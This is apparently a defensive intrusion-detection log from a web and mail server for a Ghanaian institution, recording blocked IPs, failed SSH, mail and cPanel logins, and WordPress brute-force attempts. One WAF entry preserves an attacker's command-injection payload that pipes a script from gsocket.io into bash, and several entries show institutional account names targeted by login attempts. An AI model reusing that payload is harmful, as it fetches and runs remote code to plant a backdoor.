# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 153.141.152.161
description:
Jan 29 21:23:24 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 153.141.152.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.120.58.228
description:
Jan 29 21:23:25 ait sshd[504411]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.120.58.228 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.192.142.138
description:
2025-01-29 21:23:49 dovecot_login authenticator failed for ([127.0.0.1]) [117.192.142.138]:52719: 535 Incorrect authentication data (set_id=eng22a00061y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.3.31.4
description:
Jan 29 21:23:55 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.3.31.4 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 201.186.40.250
description:
Jan 29 21:24:21 ait sshd[504893]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.186.40.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.73.19.69
description:
Jan 29 21:23:52 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.73.19.69 has been locked due to Imunify RBL


plugin: modsec
rule: 77350309
name: IM360 WAF: Hidden file access
abuser: 165.232.174.158
domain: iric.us
description:
IM360 WAF: Hidden file access||RSV:6.65||T:APACHE||QS:cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.83.16.173
description:
[2025-01-29 21:24:00 +0100] info [webmaild] 170.83.16.173 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.82.153.122
description:
2025-01-29 21:24:06 dovecot_login authenticator failed for 140.82.153.122.360broadband.net ([127.0.0.1]) [140.82.153.122]:60798: 535 Incorrect authentication data (set_id=ads20a00243y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.133.206
description:
2025-01-29 21:24:03 dovecot_plain authenticator failed for syn-035-130-133-206.biz.spectrum.com [35.130.133.206]:42706: 535 Incorrect authentication data (set_id=abs18b00066y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 35.130.133.206
description:
Jan 29 21:24:01 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 35.130.133.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 140.82.153.122
description:
Jan 29 21:24:04 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 140.82.153.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.3.31.4
description:
2025-01-29 21:23:57 dovecot_login authenticator failed for ([127.0.0.1]) [61.3.31.4]:41244: 535 Incorrect authentication data (set_id=eng22a00061y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.104.194.191
description:
[2025-01-29 21:24:12 +0100] info [webmaild] 177.104.194.191 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.70.80.117
description:
Jan 29 21:24:10 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.70.80.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.70.80.117
description:
2025-01-29 21:24:12 dovecot_login authenticator failed for ([127.0.0.1]) [178.70.80.117]:56561: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 216.246.113.181
domain: lemass.aitsmartschool.com
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:21-24.216.246.113.181


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.192.142.138
description:
Jan 29 21:23:47 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.192.142.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.73.19.69
description:
2025-01-29 21:23:54 dovecot_plain authenticator failed for ([154.73.19.69]) [154.73.19.69]:41998: 535 Incorrect authentication data (set_id=abs18b00066y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.193.176.201
description:
Jan 29 21:24:59 ait sshd[505678]: pam_imunify(sshd:auth): [IM360_RBL] The IP 103.193.176.201 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 103.193.176.201
description:
Jan 29 21:24:59 ait sshd[505678]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.193.176.201


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.166.230.227
description:
[2025-01-29 21:25:15 +0100] info [webmaild] 103.166.230.227 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 200.159.172.95
description:
[2025-01-29 21:25:45 +0100] info [webmaild] 200.159.172.95 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.83
description:
Jan 29 21:25:48 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.83 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 38.137.177.241
description:
[2025-01-29 21:24:57 +0100] info [webmaild] 38.137.177.241 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.83
description:
Jan 29 21:25:57 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.83 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 41.198.154.74
description:
[2025-01-29 21:26:11 +0100] info [webmaild] 41.198.154.74 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 201.186.40.250
description:
Jan 29 21:25:58 ait sshd[506213]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=201.186.40.250


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 201.186.40.250
description:
Jan 29 21:25:59 ait sshd[506213]: Failed password for invalid user alex from 201.186.40.250 port 39960 ssh2


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 103.193.176.201
description:
Jan 29 21:26:26 ait sshd[506490]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.193.176.201


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 12.189.234.27
description:
Jan 29 21:26:11 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 12.189.234.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.193.176.201
description:
Jan 29 21:26:26 ait sshd[506490]: pam_imunify(sshd:auth): [IM360_RBL] The IP 103.193.176.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.94.195
description:
Jan 29 21:27:14 ait sshd[506907]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.94.195 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.94.195
description:
Jan 29 21:27:14 ait sshd[506907]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.94.195  user=gvu


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 154.208.47.40
description:
[2025-01-29 21:27:29 +0100] info [webmaild] 154.208.47.40 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 21:27:15 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.167.58.99
description:
[2025-01-29 21:28:45 +0100] info [webmaild] 45.167.58.99 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 88.230.77.148
description:
[2025-01-29 21:28:15 +0100] info [webmaild] 88.230.77.148 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.71.254.195
description:
[2025-01-29 21:29:11 +0100] info [webmaild] 190.71.254.195 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.96.168.145
description:
Jan 29 21:29:16 ait sshd[507500]: pam_imunify(sshd:auth): [IM360_RBL] The IP 119.96.168.145 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 119.96.168.145
description:
Jan 29 21:29:16 ait sshd[507500]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=119.96.168.145


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 131.161.95.227
description:
[2025-01-29 21:29:51 +0100] info [webmaild] 131.161.95.227 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.195.176
description:
Jan 29 21:29:56 ait sshd[507800]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.126.195.176 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.126.195.176
description:
Jan 29 21:29:56 ait sshd[507800]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.126.195.176  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.170.225.80
description:
Jan 29 21:30:43 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.170.225.80 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.170.225.80
description:
2025-01-29 21:30:45 dovecot_plain authenticator failed for ([103.170.225.80]) [103.170.225.80]:33718: 535 Incorrect authentication data (set_id=ads20a00244y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.87.84.104
description:
Jan 29 21:30:51 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.87.84.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.143.159
description:
Jan 29 21:30:53 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.143.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.87.84.104
description:
2025-01-29 21:30:53 dovecot_plain authenticator failed for (recine) [88.87.84.104]:40400: 535 Incorrect authentication data (set_id=okyere@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.207.177.75
description:
Jan 29 21:30:34 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.207.177.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.207.177.75
description:
2025-01-29 21:30:36 dovecot_plain authenticator failed for (49.207.177.75.actcorp.in) [49.207.177.75]:59068: 535 Incorrect authentication data (set_id=ads20a00244y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.65.1.179
description:
2025-01-29 21:30:56 dovecot_plain authenticator failed for ([49.65.1.179]) [49.65.1.179]:16294: 535 Incorrect authentication data (set_id=eng18b00213y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.24.141.90
description:
Jan 29 21:31:06 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.24.141.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.155.47
description:
2025-01-29 21:31:09 dovecot_plain authenticator failed for (m121-202-155-47.smartone.com) [121.202.155.47]:36992: 535 Incorrect authentication data (set_id=ads89a99079y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.159
description:
2025-01-29 21:30:55 dovecot_plain authenticator failed for (coracer) [65.20.143.159]:39685: 535 Incorrect authentication data (set_id=okyere@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.155.47
description:
Jan 29 21:31:07 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.155.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 21:31:16 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.17.154.82
description:
Jan 29 21:31:18 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.17.154.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.65.1.179
description:
Jan 29 21:30:54 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.65.1.179 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.90
description:
2025-01-29 21:31:08 dovecot_plain authenticator failed for ([27.24.141.90]) [27.24.141.90]:44630: 535 Incorrect authentication data (set_id=eng18b00213y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.17.154.82
description:
2025-01-29 21:31:20 dovecot_plain authenticator failed for ([58.17.154.82]) [58.17.154.82]:38436: 535 Incorrect authentication data (set_id=ads89a99079y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.69.58.26
description:
[2025-01-29 21:31:47 +0100] info [webmaild] 103.69.58.26 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 31.169.74.85
description:
[2025-01-29 21:31:04 +0100] info [webmaild] 31.169.74.85 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.81.213.46
description:
Jan 29 21:33:04 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.81.213.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 157.245.145.254
description:
Jan 29 21:33:27 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 157.245.145.254 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:21-33.15.206.171.64


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.170.50.2
description:
Jan 29 21:32:54 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.170.50.2 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.120.4
description:
47.128.120.4 - - [29/Jan/2025:21:33:10 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=27412900 HTTP/1.1" 302 0 ait-open.net "http://ait-open.net/elearning/course/view.php?id=285" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.120.4


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.29.196.162
description:
Jan 29 21:33:06 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.29.196.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.29.196.162
description:
2025-01-29 21:33:08 dovecot_plain authenticator failed for (hn.kd.ny.adsl) [218.29.196.162]:34198: 535 Incorrect authentication data (set_id=ddessel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.1.210.6
description:
[2025-01-29 21:33:11 +0100] info [webmaild] 179.1.210.6 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.120.169.159
description:
[2025-01-29 21:33:43 +0100] info [webmaild] 187.120.169.159 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.170.50.2
description:
2025-01-29 21:32:56 dovecot_plain authenticator failed for ([45.170.50.2]) [45.170.50.2]:57761: 535 Incorrect authentication data (set_id=ddessel@ait-open.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.81.213.46
description:
2025-01-29 21:33:06 dovecot_plain authenticator failed for ([203.81.213.46]) [203.81.213.46]:48538: 535 Incorrect authentication data (set_id=eng20b00166y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.152.13
description:
Jan 29 21:33:16 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.152.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.152.13
description:
2025-01-29 21:33:18 dovecot_plain authenticator failed for ([121.202.152.13]) [121.202.152.13]:65002: 535 Incorrect authentication data (set_id=eng21a00038y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.245.145.254
description:
2025-01-29 21:33:29 dovecot_plain authenticator failed for ([157.245.145.254]) [157.245.145.254]:52000: 535 Incorrect authentication data (set_id=eng21a00038y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 21:33:36 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 21:33:54 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.153.140.202
description:
Jan 29 21:34:03 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.153.140.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.153.140.202
description:
2025-01-29 21:34:05 dovecot_plain authenticator failed for (hostglobal.plus) [78.153.140.202]:54600: 535 Incorrect authentication data (set_id=eng22b00146y@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 41.73.123.215
description:
Jan 29 21:34:27 ait sshd[509727]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=41.73.123.215  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 21:35:52 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.167.233.158
description:
[2025-01-29 21:35:38 +0100] info [webmaild] 103.167.233.158 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.237.166.2
description:
Jan 29 21:36:19 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.237.166.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 21:36:46 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.43.109
description:
Jan 29 21:36:50 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.43.109 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 196.134.131.165
description:
[2025-01-29 21:35:54 +0100] info [webmaild] 196.134.131.165 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.169.19.43
description:
Jan 29 21:36:05 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.169.19.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.237.166.2
description:
2025-01-29 21:36:21 dovecot_plain authenticator failed for ([183.237.166.2]) [183.237.166.2]:50194: 535 Incorrect authentication data (set_id=vobynuma)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.169.19.43
description:
2025-01-29 21:36:07 dovecot_plain authenticator failed for wsip-70-169-19-43.hr.hr.cox.net [70.169.19.43]:34076: 535 Incorrect authentication data (set_id=vobynuma@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.25.239.74
description:
[2025-01-29 21:36:34 +0100] info [webmaild] 190.25.239.74 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.43.109
description:
2025-01-29 21:36:52 dovecot_plain authenticator failed for 109.43.246.220.static.netvigator.com [220.246.43.109]:65279: 535 Incorrect authentication data (set_id=als17b01551@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.175.220.250
description:
Jan 29 21:37:05 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.175.220.250 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.118.78.140
description:
[2025-01-29 21:37:08 +0100] info [webmaild] 103.118.78.140 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.126.10
description:
Jan 29 21:37:53 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.126.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.175.220.250
description:
2025-01-29 21:37:07 dovecot_plain authenticator failed for 110-175-220-250.static.tpgi.com.au (115-64-230-168.static.tpgi.com.au) [110.175.220.250]:54387: 535 Incorrect authentication data (set_id=als17b01551)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.120.46
description:
47.128.120.46 - - [29/Jan/2025:21:37:10 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9431583 HTTP/1.1" 302 0 ait-open.net "http://ait-open.net/elearning/mod/forum/discuss.php?d=7107" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.120.46


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 168.197.205.140
description:
[2025-01-29 21:37:21 +0100] info [webmaild] 168.197.205.140 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 85.107.86.95
description:
[2025-01-29 21:37:54 +0100] info [webmaild] 85.107.86.95 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.10
description:
2025-01-29 21:37:55 dovecot_plain authenticator failed for ([196.189.126.10]) [196.189.126.10]:49746: 535 Incorrect authentication data (set_id=bscj19bit0046y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.47.190
description:
Jan 29 21:38:01 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.47.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 21:38:13 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.219.36.213
description:
Jan 29 21:38:02 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.219.36.213 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.47.190
description:
2025-01-29 21:38:03 dovecot_plain authenticator failed for ([185.255.47.190]) [185.255.47.190]:33274: 535 Incorrect authentication data (set_id=bscj19bit0046y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.41.202.12
description:
Jan 29 21:38:22 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.41.202.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 21:38:34 ait auth[435716]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.1.48.55
description:
[2025-01-29 21:39:14 +0100] info [webmaild] 179.1.48.55 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.248.87.183
description:
[2025-01-29 21:39:22 +0100] info [webmaild] 191.248.87.183 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.153.177.192
description:
2025-01-29 21:40:13 dovecot_plain authenticator failed for ([221.153.177.192]) [221.153.177.192]:58842: 535 Incorrect authentication data (set_id=jkudzie@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.126.195.176
description:
Jan 29 21:40:28 ait sshd[512617]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.126.195.176  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.38.63.186
description:
[2025-01-29 21:40:34 +0100] info [webmaild] 187.38.63.186 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.153.177.192
description:
